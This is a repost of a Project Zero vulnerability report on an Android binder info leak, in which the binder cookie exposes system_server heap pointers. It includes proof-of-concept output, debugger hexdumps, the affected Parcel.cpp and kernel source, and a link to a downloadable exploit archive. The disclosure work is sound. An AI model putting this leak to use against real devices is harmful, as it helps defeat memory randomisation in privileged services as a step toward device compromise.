Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863559726

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=889

The interaction between the kernel /dev/binder and the usermode Parcel.cpp mean
that when a binder object is passed as BINDER_TYPE_BINDER or BINDER_TYPE_WEAK_BINDER,
a pointer to that object (in the server process) is leaked to the client process
as the cookie value. This leads to a leak of a heap address in many of the privileged
binder services, including system_server.

See attached PoC, which leaks the addresses of allocated heap objects in system_server.

Output running from the shell (run on droidfood userdebug build, MTC19X):

shell@bullhead:/ $ /data/local/tmp/binder_info_leak                            
--- binder info leak ---
[0] opening /dev/binder
[0] looking up activity
0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 .
0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 .
0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
0064: 08 . 00 . 00 . 00 . 61 a 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 .
0080: 74 t 00 . 79 y 00 . 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1000  data 24  offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 55 U 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr 0000005500000001  cookie 0000000000000000
[0] got handle 00000001
0000: 00 . 01 . 00 . 00 . 1c . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 61 a 00 . 70 p 00 . 70 p 00 . 2e . 00 .
0032: 49 I 00 . 41 A 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 . 74 t 00 .
0048: 79 y 00 . 4d M 00 . 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 .
0064: 00 . 00 . 00 . 00 . 05 . 00 . 00 . 00 . 70 p 00 . 77 w 00 . 6e n 00 . 65 e 00 .
0080: 64 d 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1000  data 28  offs 8
0000: 00 . 00 . 00 . 00 . 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 .
0016: 7f . 00 . 00 . 00 . c0 . 19 . 9d . 8b . 7f . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr 0000007f00000002  cookie 0000007f8b9d19c0
[0] got handle 00000000


Debugger output from system_server

pwndbg> hexdump 0x0000007f8b9d19c0
+0000 0x7f8b9d19c0  38 35 76 ab  7f 00 00 00  00 00 00 00  00 00 00 00  |85v.|....|....|....|
+0010 0x7f8b9d19d0  65 00 6e 00  74 00 5f 00  40 d1 0c a8  7f 00 00 00  |e.n.|t._.|@...|....|
+0020 0x7f8b9d19e0  6a 16 20 00  00 00 00 00  20 ad 81 ab  7f 00 00 00  |j...|....|....|....|
+0030 0x7f8b9d19f0  e0 fc 7f 8e  7f 00 00 00  a0 f2 c7 8a  7f 00 00 00  |....|....|....|....|
+0040 0x7f8b9d1a00  

This is pretty obviously the case; the code in Parcel.cpp that flattens binder objects
to pass via binder transactions:

status_t flatten_binder(const sp<ProcessState>& /*proc*/,
    const sp<IBinder>& binder, Parcel* out)
{
    flat_binder_object obj;

    obj.flags = 0x7f | FLAT_BINDER_FLAG_ACCEPTS_FDS;
    if (binder != NULL) {
        IBinder *local = binder->localBinder();
        if (!local) {
            BpBinder *proxy = binder->remoteBinder();
            if (proxy == NULL) {
                ALOGE("null proxy");
            }
            const int32_t handle = proxy ? proxy->handle() : 0;
            obj.type = BINDER_TYPE_HANDLE;
            obj.binder = 0; /* Don't pass uninitialized stack data to a remote process */
            obj.handle = handle;
            obj.cookie = 0;
        } else {
            obj.type = BINDER_TYPE_BINDER;
            obj.binder = reinterpret_cast<uintptr_t>(local->getWeakRefs());
            obj.cookie = reinterpret_cast<uintptr_t>(local); // <--- is a pointer to the object
        }
    } else {
        obj.type = BINDER_TYPE_BINDER;
        obj.binder = 0;
        obj.cookie = 0;
    }

    return finish_flatten_binder(binder, obj, out);
}

and the kernel code which processes this to send to the target process modifies
the fp->handle entry, overwriting fp->binder, but does not alter fp->cookie, which
contains the second pointer.

    case BINDER_TYPE_BINDER:
    case BINDER_TYPE_WEAK_BINDER: {
      struct binder_ref *ref;
      struct binder_node *node = binder_get_node(proc, fp->binder);
      if (node == NULL) {
        node = binder_new_node(proc, fp->binder, fp->cookie);
        if (node == NULL) {
          return_error = BR_FAILED_REPLY;
          goto err_binder_new_node_failed;
        }
        node->min_priority = fp->flags & FLAT_BINDER_FLAG_PRIORITY_MASK;
        node->accept_fds = !!(fp->flags & FLAT_BINDER_FLAG_ACCEPTS_FDS);
      }
      if (fp->cookie != node->cookie) {
        binder_user_error("%d:%d sending u%016llx node %d, cookie mismatch %016llx != %016llx\n",
          proc->pid, thread->pid,
          (u64)fp->binder, node->debug_id,
          (u64)fp->cookie, (u64)node->cookie);
        goto err_binder_get_ref_for_node_failed;
      }
      if (security_binder_transfer_binder(proc->tsk, target_proc->tsk)) {
        return_error = BR_FAILED_REPLY;
        goto err_binder_get_ref_for_node_failed;
      }
      ref = binder_get_ref_for_node(target_proc, node);
      if (ref == NULL) {
        return_error = BR_FAILED_REPLY;
        goto err_binder_get_ref_for_node_failed;
      }
      if (fp->type == BINDER_TYPE_BINDER)
        fp->type = BINDER_TYPE_HANDLE;
      else
        fp->type = BINDER_TYPE_WEAK_HANDLE;
      fp->handle = ref->desc;
      binder_inc_ref(ref, fp->type == BINDER_TYPE_HANDLE,
               &thread->todo);
      trace_binder_transaction_node_to_ref(t, node, ref);
      binder_debug(BINDER_DEBUG_TRANSACTION,
             "        node %d u%016llx -> ref %d desc %d\n",
             node->debug_id, (u64)node->ptr,
             ref->debug_id, ref->desc);
    } break;

In the case of 64-bit processes, we also leak the high dword of the fp->binder pointer, because 
a uint32_t is smaller than a binder_uintptr_t.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40515.zip